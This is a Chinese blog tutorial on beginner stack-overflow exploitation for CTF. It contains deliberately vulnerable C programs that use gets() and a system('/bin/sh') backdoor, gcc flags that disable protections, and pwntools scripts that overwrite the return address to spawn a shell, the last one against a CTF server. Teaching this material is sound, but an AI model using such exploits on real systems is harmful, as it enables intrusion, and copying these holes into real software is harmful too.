PWN基础入门 - 栈溢出
9unk Lv5

栈溢出漏洞的基本原理

栈溢出漏洞简单来说就是,因为程序向栈中写入了超过栈空间锁规定的大小,导致数据覆盖了 call 指令执行后压入栈中的返回地址。因此攻击者可以通过精心构造输入数据,使得程序在执行返回指令时跳转到攻击者设定的指令序列上,以达到劫持程序、控制程序执行流程的目的。

案例演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*程序名:overflow.c*/
/*
栈溢出
*/

#define _CRT_SECURE_NO_DEPRECATE


#include <stdio.h>

//栈溢出演示案例
int overflow()
{
char buf[4];
read(0,buf, 16);
}

int main(void)
{
overflow();

return 0; //程序结束
}

堆栈示意图:

2

3

4

6

7

1

5

8

从上图可以看到,这里函数 overflow 的返回地址已经被覆盖了。如果这个地址被改成其他函数的地址,那么我们就可以修改程序,执行任意恶意代码。

案例一

编写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>

int backdoor()
{
puts("Wow,you success!");
return system("/bin/sh");
}

int main(void)
{
char buf[16];

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);

puts("Welcome to xingmeng public");
puts("Your suggestion:");
gets(buf);

return 0;
}

gets函数可无限读取输入的字符串,不会判断上线,以回车键结束读取。当我们向 buf 数组输入超过其大小的数据时,就会发生栈溢出漏洞。

编译程序

gcc -g -no-pie -z execstack -z norelro -m64 overflow1.c -o overflow1

  • -g -no-pie:关闭 PIE 进程空间地址随机化

  • -z execstack:禁用 NX 保护

  • -z norelro:关闭 RELRO

动态调试查看程序

  1. kali中使用指令 edb --run overflow1 来动态调试程序

9
10

amd64位的系统编译的64位程序默认是 16 位对齐。从上面的栈区可以确认我们构造的 payload=(24位垃圾数据)+(backdoor地址)

编写 payload

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
# 开启进程
p=process("./overflow1")
# 设置 backdoor 返回地址
backdoor = 0x00401156
# 设置 payload
payload=b'a'*0x18+p64(backdoor)
# 发送 payload
p.sendline(payload)
# 生成交互界面
p.interactive()

执行脚本时出现报错,未能成功获取 shell

11

调试修改 payload

在 paylaod 中增加 gdb 调试,查看是哪里出错

1
2
3
4
5
6
7
from pwn import *
p=process("./overflow1")
backdoor = 0x00401156
payload=b'a'*0x18+p64(backdoor)
gdb.attach(p)
p.sendline(payload)
p.interactive()
  1. 输入 fini 指令:运行程序直到当前函数返回。

12
13

  1. 输入 n 指令,执行到 main 函数为止

14

  1. 继续输入 n ,返回到 backdoor 函数

15

  1. 继续输入 n,此时程序报错断在了 movaps xmmword ptr [rsp + 0x50], xmm0 指令处

16

出现这个问题主要原因: movaps xmmword ptr [rsp + 0x50], xmm0 指令是验证内存地址是否 16 位对齐,如果 rsp + 0x50 不是 0x10 的整数倍就会报错。(0x7ffcb5cf13f8 + 0x50) 不能整除 0x10,正好多了 8 字节,也就是多执行了一个 push 指令。64位程序的栈空间是 8 字节。

解决方案: backdoor+1,就是把 backdoor 的值改为 0x00401157 就行。

从下图中可以看到,当进入函数后都会指令 push rbp 压入栈的基地址,那我们 ret 返回时跳过该指令,不就可以少执行一个 push 指令,正确运行程序了。

15

修改后的 payload

1
2
3
4
5
6
7
from pwn import *
p=process("./overflow1")
backdoor = 0x00401157
payload=b'a'*0x18+p64(backdoor)
#gdb.attach(p)
p.sendline(payload)
p.interactive()

执行后正常获得shell

17

案例二:rip

  1. 查看程序基本信息

18

  1. IDA 分析程序,可以看到 main 函数中有 gets 函数,可造成栈溢出漏洞

19

  1. 其次查看左侧函数列表,寻找可疑函数

20

  1. 找到 fun 函数的地址

21

  1. 和我们上面自己编译的程序差不多,这里直接使用 payload 尝试在本地测试运行。
1
2
3
4
5
6
from pwn import *
p=process("./pwn1")
fun = 0x00401186
payload=b'a'*0x17+p64(fun)
p.sendline(payload)
p.interactive()

22

注:这里数组 s 是 15 个字节,不要写入数据写多了,导致 ret 返回到错误的地址。

可以看到程序报了同样的错误,我们修改 payload 后重新测试运行,成功 getshell

1
2
3
4
5
6
from pwn import *
p=process("./pwn1")
fun = 0x00401187
payload=b'a'*0x17+p64(fun)
p.sendline(payload)
p.interactive()

23

  1. 修改 payload,getshell 远程服务器,获取 flag
1
2
3
4
5
6
7
from pwn import *
p=remote("node5.buuoj.cn",26889)
fun = 0x00401187
payload=b'a'*0x17+p64(fun)
p.sendline(payload)
p.interactive()

24

参考

gcc编译的保护机制选项

__int128类型movaps指令crash

在一些64位的glibc的payload调用system函数失败问题

CTF学习日记—-buuctf pwn rip

【星盟安全】PWN全集,从入门到精通,最通俗易懂的CTF,持续更新中

  • 本文标题:PWN基础入门 - 栈溢出
  • 本文作者:9unk
  • 创建时间:2024-05-01 10:30:00
  • 本文链接:https://9unkk.github.io/2024/05/01/pwn-ji-chu-ru-men-zhan-yi-chu/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!